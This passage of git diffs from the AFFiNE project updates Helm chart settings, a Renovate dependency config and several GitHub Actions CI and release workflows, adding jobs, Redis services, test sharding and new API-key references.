captcha:
enabled: false
secretName: captcha

View File

@@ -94,6 +94,8 @@ spec:
name: "{{ .Values.global.objectStorage.r2.secretName }}"
key: secretAccessKey
{{ end }}
- name: DOC_SERVICE_ENDPOINT
value: "http://{{ .Values.global.docService.name }}:{{ .Values.global.docService.port }}"
ports:
- name: http
containerPort: {{ .Values.service.port }}

View File

@@ -3,7 +3,7 @@ name: sync
description: AFFiNE Sync Server
type: application
version: 0.0.0
appVersion: "0.17.0"
appVersion: "0.20.0"
dependencies:
- name: gcloud-sql-proxy
version: 0.0.0

View File

@@ -73,6 +73,8 @@ spec:
value: "{{ .Values.service.port }}"
- name: AFFINE_SERVER_HOST
value: "{{ .Values.app.host }}"
- name: DOC_SERVICE_ENDPOINT
value: "http://{{ .Values.global.docService.name }}:{{ .Values.global.docService.port }}"
ports:
- name: http
containerPort: {{ .Values.service.port }}

View File

@@ -39,6 +39,9 @@ global:
secretAccessKey: ''
gke:
enabled: true
docService:
name: 'affine-doc'
port: 3020
graphql:
service:
@@ -61,6 +64,12 @@ renderer:
annotations:
cloud.google.com/backend-config: '{"default": "affine-api-backendconfig"}'
doc:
service:
type: ClusterIP
annotations:
cloud.google.com/backend-config: '{"default": "affine-api-backendconfig"}'
web:
service:
type: ClusterIP

20
.github/renovate.json vendored
View File

@@ -7,15 +7,13 @@
"**/bower_components/**",
"**/vendor/**",
"**/examples/**",
"**/__tests__/**",
"**/test/**",
"**/__fixtures__/**"
"**/__tests__/**"
],
"packageRules": [
{
"matchPackagePatterns": ["^eslint", "^@typescript-eslint"],
"rangeStrategy": "replace",
"groupName": "linter"
"groupName": "linter",
"matchPackageNames": ["/^eslint/", "/^@typescript-eslint/"]
},
{
"matchDepNames": ["oxlint"],
@@ -24,17 +22,15 @@
},
{
"groupName": "blocksuite",
"matchPackagePatterns": ["^@blocksuite"],
"excludePackageNames": ["@blocksuite/icons"],
"rangeStrategy": "replace",
"changelogUrl": "https://github.com/toeverything/blocksuite/blob/master/packages/blocks/CHANGELOG.md"
"changelogUrl": "https://github.com/toeverything/blocksuite/blob/master/packages/blocks/CHANGELOG.md",
"matchPackageNames": ["/^@blocksuite/", "!@blocksuite/icons"]
},
{
"groupName": "all non-major dependencies",
"groupSlug": "all-minor-patch",
"matchPackagePatterns": ["*"],
"excludePackagePatterns": ["^@blocksuite/", "oxlint"],
"matchUpdateTypes": ["minor", "patch"]
"matchUpdateTypes": ["minor", "patch"],
"matchPackageNames": ["*", "!/^@blocksuite//", "!/oxlint/"]
},
{
"groupName": "rust toolchain",
@@ -43,7 +39,7 @@
},
{
"groupName": "nestjs",
"matchPackagePatterns": ["^@nestjs"]
"matchPackageNames": ["/^@nestjs/"]
}
],
"commitMessagePrefix": "chore: ",

View File

@@ -7,9 +7,6 @@ on:
type: string
required: true
env:
NX_CLOUD_ACCESS_TOKEN: ${{ secrets.NX_CLOUD_ACCESS_TOKEN }}
permissions:
contents: 'write'
id-token: 'write'
@@ -30,7 +27,9 @@ jobs:
electron-install: false
extra-flags: workspaces focus @affine/server
- name: Build Server
run: yarn workspace @affine/server build
run: |
find packages/backend/server -type d -name "__tests__" -exec rm -rf {} +
yarn workspace @affine/server build
- name: Upload server dist
uses: actions/upload-artifact@v4
with:
@@ -50,7 +49,7 @@ jobs:
- name: Setup Node.js
uses: ./.github/actions/setup-node
- name: Build Core
run: yarn nx build @affine/web --skip-nx-cache
run: yarn affine @affine/web build
env:
R2_ACCOUNT_ID: ${{ secrets.R2_ACCOUNT_ID }}
R2_ACCESS_KEY_ID: ${{ secrets.R2_ACCESS_KEY_ID }}
@@ -83,7 +82,7 @@ jobs:
- name: Setup Node.js
uses: ./.github/actions/setup-node
- name: Build Admin
run: yarn nx build @affine/admin --skip-nx-cache
run: yarn affine @affine/admin build
env:
R2_ACCOUNT_ID: ${{ secrets.R2_ACCOUNT_ID }}
R2_ACCESS_KEY_ID: ${{ secrets.R2_ACCESS_KEY_ID }}
@@ -115,7 +114,7 @@ jobs:
- name: Setup Node.js
uses: ./.github/actions/setup-node
- name: Build Mobile
run: yarn nx build @affine/mobile --skip-nx-cache
run: yarn affine @affine/mobile build
env:
R2_ACCOUNT_ID: ${{ secrets.R2_ACCOUNT_ID }}
R2_ACCESS_KEY_ID: ${{ secrets.R2_ACCESS_KEY_ID }}
@@ -139,6 +138,7 @@ jobs:
name: Build Server native - ${{ matrix.targets.name }}
runs-on: ubuntu-latest
strategy:
fail-fast: false
matrix:
targets:
- name: x86_64-unknown-linux-gnu
@@ -163,7 +163,6 @@ jobs:
with:
target: ${{ matrix.targets.name }}
package: '@affine/server-native'
nx_token: ${{ secrets.NX_CLOUD_ACCESS_TOKEN }}
- name: Upload ${{ matrix.targets.file }}
uses: actions/upload-artifact@v4
with:

View File

@@ -19,8 +19,6 @@ env:
AFFINE_ENV: dev
COVERAGE: true
MACOSX_DEPLOYMENT_TARGET: '10.13'
NX_CLOUD_ACCESS_TOKEN: ${{ secrets.NX_CLOUD_ACCESS_TOKEN }}
PLAYWRIGHT_BROWSERS_PATH: ${{ github.workspace }}/node_modules/.cache/ms-playwright
DEPLOYMENT_TYPE: affine
concurrency:
@@ -28,9 +26,24 @@ concurrency:
cancel-in-progress: true
jobs:
optimize_ci:
name: Optimize CI
runs-on: ubuntu-latest
outputs:
skip: ${{ steps.check_skip.outputs.skip }}
steps:
- uses: actions/checkout@v4
- name: Graphite CI Optimizer
uses: withgraphite/graphite-ci-action@main
id: check_skip
with:
graphite_token: ${{ secrets.GRAPHITE_CI_OPTIMIZER_TOKEN }}
analyze:
name: Analyze
runs-on: ubuntu-latest
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
permissions:
actions: read
contents: read
@@ -78,6 +91,8 @@ jobs:
lint:
name: Lint
runs-on: ubuntu-latest
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
steps:
- uses: actions/checkout@v4
@@ -90,7 +105,7 @@ jobs:
electron-install: false
full-cache: true
- name: Run i18n codegen
run: yarn workspace @affine/i18n build
run: yarn affine @affine/i18n build
- name: Run ESLint
run: yarn lint:eslint --max-warnings=0
- name: Run Prettier
@@ -103,9 +118,31 @@ jobs:
- name: Run Type Check
run: yarn typecheck
lint-rust:
name: Lint Rust
runs-on: ubuntu-latest
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
steps:
- uses: actions/checkout@v4
- uses: ./.github/actions/build-rust
with:
no-build: 'true'
- name: fmt check
run: |
rustup toolchain add nightly
rustup component add --toolchain nightly-x86_64-unknown-linux-gnu rustfmt
cargo +nightly fmt --all -- --check
- name: Clippy
run: |
rustup component add clippy
cargo clippy --all-targets --all-features -- -D warnings
check-yarn-binary:
name: Check yarn binary
runs-on: ubuntu-latest
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
steps:
- uses: actions/checkout@v4
- name: Run check
@@ -113,9 +150,43 @@ jobs:
yarn set version $(node -e "console.log(require('./package.json').packageManager.split('@')[1])")
git diff --exit-code
e2e-legacy-blocksuite-test:
name: Legacy Blocksuite E2E Test
runs-on: ubuntu-latest
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
strategy:
fail-fast: false
matrix:
shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
steps:
- uses: actions/checkout@v4
- name: Setup Node.js
uses: ./.github/actions/setup-node
with:
playwright-install: true
electron-install: false
full-cache: true
- name: Run playground build
run: yarn workspace @blocksuite/playground build
- name: Run playwright tests
run: yarn workspace @blocksuite/legacy-e2e test --forbid-only --shard=${{ matrix.shard }}/${{ strategy.job-total }}
- name: Upload test results
if: always()
uses: actions/upload-artifact@v4
with:
name: test-results-e2e-legacy-bs-${{ matrix.shard }}
path: ./test-results
if-no-files-found: ignore
e2e-test:
name: E2E Test
runs-on: ubuntu-latest
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
env:
DISTRIBUTION: web
IN_CI_TEST: true
@@ -133,10 +204,10 @@ jobs:
full-cache: true
- name: Run playwright tests
run: yarn workspace @affine-test/affine-local e2e --forbid-only --shard=${{ matrix.shard }}/${{ strategy.job-total }}
run: yarn affine @affine-test/affine-local e2e --forbid-only --shard=${{ matrix.shard }}/${{ strategy.job-total }}
- name: Upload test results
if: ${{ failure() }}
if: always()
uses: actions/upload-artifact@v4
with:
name: test-results-e2e-${{ matrix.shard }}
@@ -146,6 +217,8 @@ jobs:
e2e-mobile-test:
name: E2E Mobile Test
runs-on: ubuntu-latest
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
env:
DISTRIBUTION: mobile
IN_CI_TEST: true
@@ -163,54 +236,36 @@ jobs:
full-cache: true
- name: Run playwright tests
run: yarn workspace @affine-test/affine-mobile e2e --forbid-only --shard=${{ matrix.shard }}/${{ strategy.job-total }}
run: yarn affine @affine-test/affine-mobile e2e --forbid-only --shard=${{ matrix.shard }}/${{ strategy.job-total }}
- name: Upload test results
if: ${{ failure() }}
if: always()
uses: actions/upload-artifact@v4
with:
name: test-results-e2e-mobile-${{ matrix.shard }}
path: ./test-results
if-no-files-found: ignore
e2e-migration-test:
name: E2E Migration Test
runs-on: ubuntu-latest
env:
DISTRIBUTION: web
steps:
- uses: actions/checkout@v4
- name: Setup Node.js
uses: ./.github/actions/setup-node
with:
playwright-install: true
electron-install: false
full-cache: true
- name: Run playwright tests
run: yarn workspace @affine-test/affine-migration e2e --forbid-only
- name: Upload test results
if: ${{ failure() }}
uses: actions/upload-artifact@v4
with:
name: test-results-e2e-migration
path: ./test-results
if-no-files-found: ignore
unit-test:
name: Unit Test
runs-on: ubuntu-latest
needs:
- optimize_ci
- build-native
if: needs.optimize_ci.outputs.skip == 'false'
env:
DISTRIBUTION: web
strategy:
fail-fast: false
matrix:
shard: [1, 2, 3, 4, 5]
steps:
- uses: actions/checkout@v4
- name: Setup Node.js
uses: ./.github/actions/setup-node
with:
electron-install: true
playwright-install: true
full-cache: true
- name: Download affine.linux-x64-gnu.node
@@ -220,10 +275,10 @@ jobs:
path: ./packages/frontend/native
- name: Unit Test
run: yarn nx test:coverage @affine/monorepo
run: yarn test:coverage --shard=${{ matrix.shard }}/${{ strategy.job-total }}
- name: Upload unit test coverage results
uses: codecov/codecov-action@v4
uses: codecov/codecov-action@v5
with:
token: ${{ secrets.CODECOV_TOKEN }}
files: ./.coverage/store/lcov.info
@@ -234,6 +289,8 @@ jobs:
build-native:
name: Build AFFiNE native (${{ matrix.spec.target }})
runs-on: ${{ matrix.spec.os }}
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
env:
CARGO_PROFILE_RELEASE_DEBUG: '1'
strategy:
@@ -242,11 +299,16 @@ jobs:
spec:
- { os: ubuntu-latest, target: x86_64-unknown-linux-gnu }
- { os: windows-latest, target: x86_64-pc-windows-msvc }
- { os: macos-14, target: x86_64-apple-darwin }
- { os: macos-14, target: aarch64-apple-darwin }
- { os: macos-latest, target: x86_64-apple-darwin }
- { os: macos-latest, target: aarch64-apple-darwin }
steps:
- uses: actions/checkout@v4
- uses: samypr100/setup-dev-drive@v3
if: ${{ matrix.spec.os == 'windows-latest' }}
with:
workspace-copy: true
drive-size: 8GB
- name: Setup Node.js
uses: ./.github/actions/setup-node
with:
@@ -254,6 +316,7 @@ jobs:
electron-install: false
- name: Setup filename
id: filename
working-directory: ${{ env.DEV_DRIVE_WORKSPACE || github.workspace }}
shell: bash
run: |
export PLATFORM_ARCH_ABI=$(node -e "console.log(require('@napi-rs/cli').parseTriple('${{ matrix.spec.target }}').platformArchABI)")
@@ -263,17 +326,19 @@ jobs:
with:
target: ${{ matrix.spec.target }}
package: '@affine/native'
nx_token: ${{ secrets.NX_CLOUD_ACCESS_TOKEN }}
- name: Upload ${{ steps.filename.outputs.filename }}
uses: actions/upload-artifact@v4
if: always()
with:
name: ${{ steps.filename.outputs.filename }}
path: ./packages/frontend/native/${{ steps.filename.outputs.filename }}
path: ${{ env.DEV_DRIVE_WORKSPACE || github.workspace }}/packages/frontend/native/${{ steps.filename.outputs.filename }}
if-no-files-found: error
build-server-native:
name: Build Server native
runs-on: ubuntu-latest
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
env:
CARGO_PROFILE_RELEASE_DEBUG: '1'
steps:
@@ -288,9 +353,9 @@ jobs:
with:
target: 'x86_64-unknown-linux-gnu'
package: '@affine/server-native'
nx_token: ${{ secrets.NX_CLOUD_ACCESS_TOKEN }}
- name: Upload server-native.node
uses: actions/upload-artifact@v4
if: always()
with:
name: server-native.node
path: ./packages/backend/native/server-native.node
@@ -299,7 +364,8 @@ jobs:
build-electron-renderer:
name: Build @affine/electron renderer
runs-on: ubuntu-latest
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
steps:
- uses: actions/checkout@v4
- name: Setup Node.js
@@ -308,14 +374,14 @@ jobs:
electron-install: false
full-cache: true
- name: Build Electron renderer
# always skip cache because its fast, and cache configuration is always changing
run: yarn build
run: yarn affine @affine/electron-renderer build
env:
DISTRIBUTION: desktop
- name: zip web
run: tar -czf dist.tar.gz --directory=packages/frontend/apps/electron/renderer/dist .
run: tar -czf dist.tar.gz --directory=packages/frontend/apps/electron-renderer/dist .
- name: Upload web artifact
uses: actions/upload-artifact@v4
if: always()
with:
name: web
path: dist.tar.gz
@@ -324,11 +390,20 @@ jobs:
server-test:
name: Server Test
runs-on: ubuntu-latest
needs: build-server-native
needs:
- optimize_ci
- build-server-native
if: needs.optimize_ci.outputs.skip == 'false'
strategy:
fail-fast: false
matrix:
node_index: [0, 1, 2]
total_nodes: [3]
env:
NODE_ENV: test
DISTRIBUTION: web
DATABASE_URL: postgresql://affine:affine@localhost:5432/affine
REDIS_SERVER_HOST: localhost
services:
postgres:
image: postgres
@@ -341,6 +416,10 @@ jobs:
--health-retries 5
ports:
- 5432:5432
redis:
image: redis
ports:
- 6379:6379
mailer:
image: mailhog/mailhog
ports:
@@ -365,13 +444,15 @@ jobs:
uses: ./.github/actions/server-test-env
- name: Run server tests
run: yarn workspace @affine/server test:coverage
run: yarn affine @affine/server test:coverage --forbid-only
env:
CARGO_TARGET_DIR: '${{ github.workspace }}/target'
COPILOT_OPENAI_API_KEY: 'use_fake_openai_api_key'
CI_NODE_INDEX: ${{ matrix.node_index }}
CI_NODE_TOTAL: ${{ matrix.total_nodes }}
- name: Upload server test coverage results
uses: codecov/codecov-action@v4
uses: codecov/codecov-action@v5
with:
token: ${{ secrets.CODECOV_TOKEN }}
files: ./packages/backend/server/.coverage/lcov.info
@@ -379,15 +460,39 @@ jobs:
name: affine
fail_ci_if_error: false
rust-test:
name: Run native tests
runs-on: ubuntu-latest
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
env:
CARGO_TERM_COLOR: always
steps:
- uses: actions/checkout@v4
- name: Setup Rust
uses: ./.github/actions/build-rust
with:
package: 'affine'
no-build: 'true'
- name: Install latest nextest release
uses: taiki-e/install-action@nextest
- name: Run tests
run: cargo nextest run --release --no-fail-fast
copilot-api-test:
name: Server Copilot Api Test
runs-on: ubuntu-latest
needs:
- optimize_ci
- build-server-native
if: needs.optimize_ci.outputs.skip == 'false'
env:
NODE_ENV: test
DISTRIBUTION: web
DATABASE_URL: postgresql://affine:affine@localhost:5432/affine
REDIS_SERVER_HOST: localhost
services:
postgres:
image: postgres
@@ -400,6 +505,10 @@ jobs:
--health-retries 5
ports:
- 5432:5432
redis:
image: redis
ports:
- 6379:6379
mailer:
image: mailhog/mailhog
ports:
@@ -408,30 +517,55 @@ jobs:
steps:
- uses: actions/checkout@v4
- name: Check blocksuite update
id: check-blocksuite-update
env:
BASE_REF: ${{ github.base_ref }}
run: |
if node ./scripts/detect-blocksuite-update.mjs "$BASE_REF"; then
echo "skip=false" >> $GITHUB_OUTPUT
else
echo "skip=true" >> $GITHUB_OUTPUT
fi
- uses: dorny/paths-filter@v3
id: apifilter
with:
filters: |
changed:
- 'packages/backend/server/src/plugins/copilot/**'
- 'packages/backend/server/tests/copilot.*'
- name: Setup Node.js
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' || steps.apifilter.outputs.changed == 'true' }}
uses: ./.github/actions/setup-node
with:
electron-install: false
full-cache: true
- name: Download server-native.node
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' || steps.apifilter.outputs.changed == 'true' }}
uses: actions/download-artifact@v4
with:
name: server-native.node
path: ./packages/backend/server
- name: Prepare Server Test Environment
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' || steps.apifilter.outputs.changed == 'true' }}
uses: ./.github/actions/server-test-env
- name: Run server tests
run: yarn workspace @affine/server test:copilot:coverage --forbid-only
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' || steps.apifilter.outputs.changed == 'true' }}
run: yarn affine @affine/server test:copilot:coverage --forbid-only
env:
CARGO_TARGET_DIR: '${{ github.workspace }}/target'
COPILOT_OPENAI_API_KEY: ${{ secrets.COPILOT_OPENAI_API_KEY }}
COPILOT_FAL_API_KEY: ${{ secrets.COPILOT_FAL_API_KEY }}
COPILOT_PERPLEXITY_API_KEY: ${{ secrets.COPILOT_PERPLEXITY_API_KEY }}
- name: Upload server test coverage results
uses: codecov/codecov-action@v4
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' || steps.apifilter.outputs.changed == 'true' }}
uses: codecov/codecov-action@v5
with:
token: ${{ secrets.CODECOV_TOKEN }}
files: ./packages/backend/server/.coverage/lcov.info
@@ -446,6 +580,8 @@ jobs:
DISTRIBUTION: web
DATABASE_URL: postgresql://affine:affine@localhost:5432/affine
IN_CI_TEST: true
REDIS_SERVER_HOST: localhost
DEPLOYMENT_TYPE: affine
strategy:
fail-fast: false
matrix:
@@ -465,6 +601,10 @@ jobs:
--health-retries 5
ports:
- 5432:5432
redis:
image: redis
ports:
- 6379:6379
steps:
- uses: actions/checkout@v4
@@ -479,8 +619,16 @@ jobs:
echo "skip=true" >> $GITHUB_OUTPUT
fi
- uses: dorny/paths-filter@v3
id: e2efilter
with:
filters: |
changed:
- 'packages/frontend/core/src/blocksuite/ai/**'
- 'tests/affine-cloud-copilot/**'
- name: Setup Node.js
if: ${{ steps.check-blocksuite-update.outputs.skip == 'true' }}
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' || steps.e2efilter.outputs.changed == 'true' }}
uses: ./.github/actions/setup-node
with:
playwright-install: true
@@ -488,48 +636,56 @@ jobs:
hard-link-nm: false
- name: Download server-native.node
if: ${{ steps.check-blocksuite-update.outputs.skip == 'true' }}
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' || steps.e2efilter.outputs.changed == 'true' }}
uses: actions/download-artifact@v4
with:
name: server-native.node
path: ./packages/backend/server
- name: Run Copilot E2E Test ${{ matrix.shardIndex }}/${{ matrix.shardTotal }}
if: ${{ steps.check-blocksuite-update.outputs.skip == 'true' }}
if: ${{ steps.check-blocksuite-update.outputs.skip != 'true' || steps.e2efilter.outputs.changed == 'true' }}
uses: ./.github/actions/copilot-test
with:
script: yarn workspace @affine-test/affine-cloud-copilot e2e --forbid-only --shard=${{ matrix.shardIndex }}/${{ matrix.shardTotal }}
script: yarn affine @affine-test/affine-cloud-copilot e2e --forbid-only --shard=${{ matrix.shardIndex }}/${{ matrix.shardTotal }}
openai-key: ${{ secrets.COPILOT_OPENAI_API_KEY }}
fal-key: ${{ secrets.COPILOT_FAL_API_KEY }}
perplexity-key: ${{ secrets.COPILOT_PERPLEXITY_API_KEY }}
server-e2e-test:
name: ${{ matrix.tests.name }}
runs-on: ubuntu-latest
needs:
- optimize_ci
- build-server-native
- build-native
if: needs.optimize_ci.outputs.skip == 'false'
env:
DISTRIBUTION: web
DATABASE_URL: postgresql://affine:affine@localhost:5432/affine
REDIS_SERVER_HOST: localhost
IN_CI_TEST: true
strategy:
fail-fast: false
matrix:
tests:
- name: 'Server E2E Test 1/3'
script: yarn workspace @affine-test/affine-cloud e2e --forbid-only --shard=1/3
shard: 1
script: yarn affine @affine-test/affine-cloud e2e --forbid-only --shard=1/3
- name: 'Server E2E Test 2/3'
script: yarn workspace @affine-test/affine-cloud e2e --forbid-only --shard=2/3
shard: 2
script: yarn affine @affine-test/affine-cloud e2e --forbid-only --shard=2/3
- name: 'Server E2E Test 3/3'
script: yarn workspace @affine-test/affine-cloud e2e --forbid-only --shard=3/3
shard: 3
script: yarn affine @affine-test/affine-cloud e2e --forbid-only --shard=3/3
- name: 'Server Desktop E2E Test'
shard: desktop
script: |
yarn workspace @affine/electron build:dev
yarn affine @affine/electron build:dev
# Workaround for Electron apps failing to initialize on Ubuntu 24.04 due to AppArmor restrictions
# Disables unprivileged user namespaces restriction to allow Electron apps to run
# Reference: https://github.com/electron/electron/issues/42510
sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0
xvfb-run --auto-servernum --server-args="-screen 0 1280x960x24" -- yarn workspace @affine-test/affine-desktop-cloud e2e
needs:
- build-server-native
- build-native
xvfb-run --auto-servernum --server-args="-screen 0 1280x960x24" -- yarn affine @affine-test/affine-desktop-cloud e2e
services:
postgres:
image: postgres
@@ -542,6 +698,10 @@ jobs:
--health-retries 5
ports:
- 5432:5432
redis:
image: redis
ports:
- 6379:6379
mailer:
image: mailhog/mailhog
ports:
@@ -578,31 +738,37 @@ jobs:
DEV_SERVER_URL: http://localhost:8080
COPILOT_OPENAI_API_KEY: 1
COPILOT_FAL_API_KEY: 1
COPILOT_PERPLEXITY_API_KEY: 1
- name: Upload test results
if: ${{ failure() }}
if: always()
uses: actions/upload-artifact@v4
with:
name: test-results-e2e-server
name: test-results-e2e-server-${{ matrix.tests.shard }}
path: ./test-results
if-no-files-found: ignore
desktop-test:
name: Desktop Test (${{ matrix.spec.os }}, ${{ matrix.spec.platform }}, ${{ matrix.spec.arch }}, ${{ matrix.spec.target }}, ${{ matrix.spec.test }})
runs-on: ${{ matrix.spec.os }}
needs:
- optimize_ci
- build-electron-renderer
- build-native
if: needs.optimize_ci.outputs.skip == 'false'
strategy:
fail-fast: false
matrix:
spec:
- {
os: macos-14,
os: macos-latest,
platform: macos,
arch: x64,
target: x86_64-apple-darwin,
test: false,
}
- {
os: macos-14,
os: macos-latest,
platform: macos,
arch: arm64,
target: aarch64-apple-darwin,
@@ -622,16 +788,13 @@ jobs:
target: x86_64-pc-windows-msvc,
test: true,
}
needs:
- build-electron-renderer
- build-native
steps:
- uses: actions/checkout@v4
- name: Setup Node.js
uses: ./.github/actions/setup-node
timeout-minutes: 10
with:
extra-flags: workspaces focus @affine/electron @affine/monorepo @affine-test/affine-desktop
extra-flags: workspaces focus @affine/electron @affine/monorepo @affine-test/affine-desktop @affine/nbstore @toeverything/infra
playwright-install: true
hard-link-nm: false
enableScripts: false
@@ -652,7 +815,7 @@ jobs:
- name: Run unit tests
if: ${{ matrix.spec.test }}
shell: bash
run: yarn workspace @affine/electron vitest
run: yarn affine @affine/electron vitest
- name: Download web artifact
uses: ./.github/actions/download-web
@@ -660,7 +823,7 @@ jobs:
path: packages/frontend/apps/electron/resources/web-static
- name: Build Desktop Layers
run: yarn workspace @affine/electron build
run: yarn affine @affine/electron build
- name: Run desktop tests
if: ${{ matrix.spec.os == 'ubuntu-latest' }}
@@ -669,11 +832,11 @@ jobs:
# Disables unprivileged user namespaces restriction to allow Electron apps to run
# Reference: https://github.com/electron/electron/issues/42510
sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0
xvfb-run --auto-servernum --server-args="-screen 0 1280x960x24" -- yarn workspace @affine-test/affine-desktop e2e
xvfb-run --auto-servernum --server-args="-screen 0 1280x960x24" -- yarn affine @affine-test/affine-desktop e2e
- name: Run desktop tests
if: ${{ matrix.spec.test && matrix.spec.os != 'ubuntu-latest' }}
run: yarn workspace @affine-test/affine-desktop e2e
run: yarn affine @affine-test/affine-desktop e2e
- name: Make bundle (macOS)
if: ${{ matrix.spec.target == 'aarch64-apple-darwin' }}
@@ -681,7 +844,7 @@ jobs:
SKIP_BUNDLE: true
SKIP_WEB_BUILD: true
HOIST_NODE_MODULES: 1
run: yarn workspace @affine/electron package --platform=darwin --arch=arm64
run: yarn affine @affine/electron package --platform=darwin --arch=arm64
- name: Make Bundle (Linux)
run: |
@@ -691,7 +854,7 @@ jobs:
flatpak update
# some flatpak deps need git protocol.file.allow
git config --global protocol.file.allow always
yarn workspace @affine/electron make --platform=linux --arch=x64
yarn affine @affine/electron make --platform=linux --arch=x64
if: ${{ matrix.spec.target == 'x86_64-unknown-linux-gnu' }}
env:
SKIP_WEB_BUILD: 1
@@ -700,10 +863,10 @@ jobs:
- name: Output check
if: ${{ matrix.spec.os == 'macos-14' && matrix.spec.arch == 'arm64' }}
run: |
yarn workspace @affine/electron exec node --loader ts-node/esm/transpile-only ./scripts/macos-arm64-output-check.ts
yarn affine @affine/electron node ./scripts/macos-arm64-output-check.ts
- name: Upload test results
if: ${{ failure() }}
if: always()
uses: actions/upload-artifact@v4
with:
name: test-results-e2e-${{ matrix.spec.os }}-${{ matrix.spec.arch }}
@@ -712,6 +875,8 @@ jobs:
test-build-mobile-app:
uses: ./.github/workflows/release-mobile.yml
needs: optimize_ci
if: needs.optimize_ci.outputs.skip == 'false'
with:
build-type: canary
build-target: development
@@ -723,15 +888,18 @@ jobs:
needs:
- analyze
- lint
- lint-rust
- check-yarn-binary
- e2e-test
- e2e-legacy-blocksuite-test
- e2e-mobile-test
- e2e-migration-test
- unit-test
- build-native
- build-server-native
- build-electron-renderer
- server-test
- rust-test
- copilot-api-test
- copilot-e2e-test
- server-e2e-test
- desktop-test

View File

@@ -3,10 +3,6 @@ name: Copilot Cron Test
on:
workflow_dispatch:
env:
NX_CLOUD_ACCESS_TOKEN: ${{ secrets.NX_CLOUD_ACCESS_TOKEN }}
PLAYWRIGHT_BROWSERS_PATH: ${{ github.workspace }}/node_modules/.cache/ms-playwright
jobs:
build-server-native:
name: Build Server native
@@ -25,7 +21,6 @@ jobs:
with:
target: 'x86_64-unknown-linux-gnu'
package: '@affine/server-native'
nx_token: ${{ secrets.NX_CLOUD_ACCESS_TOKEN }}
- name: Upload server-native.node
uses: actions/upload-artifact@v4
with:
@@ -42,6 +37,7 @@ jobs:
NODE_ENV: test
DISTRIBUTION: web
DATABASE_URL: postgresql://affine:affine@localhost:5432/affine
REDIS_SERVER_HOST: localhost
services:
postgres:
image: postgres
@@ -54,6 +50,10 @@ jobs:
--health-retries 5
ports:
- 5432:5432
redis:
image: redis
ports:
- 6379:6379
mailer:
image: mailhog/mailhog
ports:
@@ -79,14 +79,15 @@ jobs:
uses: ./.github/actions/server-test-env
- name: Run server tests
run: yarn workspace @affine/server test:copilot:coverage --forbid-only
run: yarn affine @affine/server test:copilot:coverage --forbid-only
env:
CARGO_TARGET_DIR: '${{ github.workspace }}/target'
COPILOT_OPENAI_API_KEY: ${{ secrets.COPILOT_OPENAI_API_KEY }}
COPILOT_FAL_API_KEY: ${{ secrets.COPILOT_FAL_API_KEY }}
COPILOT_PERPLEXITY_API_KEY: ${{ secrets.COPILOT_PERPLEXITY_API_KEY }}
- name: Upload server test coverage results
uses: codecov/codecov-action@v4
uses: codecov/codecov-action@v5
with:
token: ${{ secrets.CODECOV_TOKEN }}
files: ./packages/backend/server/.coverage/lcov.info
@@ -100,6 +101,7 @@ jobs:
env:
DISTRIBUTION: web
DATABASE_URL: postgresql://affine:affine@localhost:5432/affine
REDIS_SERVER_HOST: localhost
IN_CI_TEST: true
strategy:
fail-fast: false
@@ -120,6 +122,10 @@ jobs:
--health-retries 5
ports:
- 5432:5432
redis:
image: redis
ports:
- 6379:6379
steps:
- uses: actions/checkout@v4
@@ -139,9 +145,10 @@ jobs:
- name: Run Copilot E2E Test ${{ matrix.shardIndex }}/${{ matrix.shardTotal }}
uses: ./.github/actions/copilot-test
with:
script: yarn workspace @affine-test/affine-cloud-copilot e2e --forbid-only --shard=${{ matrix.shardIndex }}/${{ matrix.shardTotal }}
script: yarn affine @affine-test/affine-cloud-copilot e2e --forbid-only --shard=${{ matrix.shardIndex }}/${{ matrix.shardTotal }}
openai-key: ${{ secrets.COPILOT_OPENAI_API_KEY }}
fal-key: ${{ secrets.COPILOT_FAL_API_KEY }}
perplexity-key: ${{ secrets.COPILOT_PERPLEXITY_API_KEY }}
test-done:
needs:

View File

@@ -12,8 +12,6 @@ on:
- beta
- stable
- internal
env:
NX_CLOUD_ACCESS_TOKEN: ${{ secrets.NX_CLOUD_ACCESS_TOKEN }}
permissions:
contents: 'write'
@@ -100,6 +98,7 @@ jobs:
CAPTCHA_TURNSTILE_SECRET: ${{ secrets.CAPTCHA_TURNSTILE_SECRET }}
COPILOT_OPENAI_API_KEY: ${{ secrets.COPILOT_OPENAI_API_KEY }}
COPILOT_FAL_API_KEY: ${{ secrets.COPILOT_FAL_API_KEY }}
COPILOT_PERPLEXITY_API_KEY: ${{ secrets.COPILOT_PERPLEXITY_API_KEY }}
COPILOT_UNSPLASH_API_KEY: ${{ secrets.COPILOT_UNSPLASH_API_KEY }}
METRICS_CUSTOMER_IO_TOKEN: ${{ secrets.METRICS_CUSTOMER_IO_TOKEN }}
MAILER_SENDER: ${{ secrets.OAUTH_EMAIL_SENDER }}
@@ -173,41 +172,31 @@ jobs:
BLOCKSUITE_REPO_PATH: ${{ github.workspace }}/blocksuite
- name: Post Failed event to a Slack channel
id: failed-slack
uses: slackapi/slack-github-action@v1.27.0
uses: slackapi/slack-github-action@v2.0.0
if: ${{ always() && contains(needs.*.result, 'failure') }}
with:
channel-id: ${{ secrets.RELEASE_SLACK_CHNNEL_ID }}
method: chat.postMessage
token: ${{ secrets.SLACK_BOT_TOKEN }}
payload: |
{
"blocks": [
{
"type": "section",
"text": {
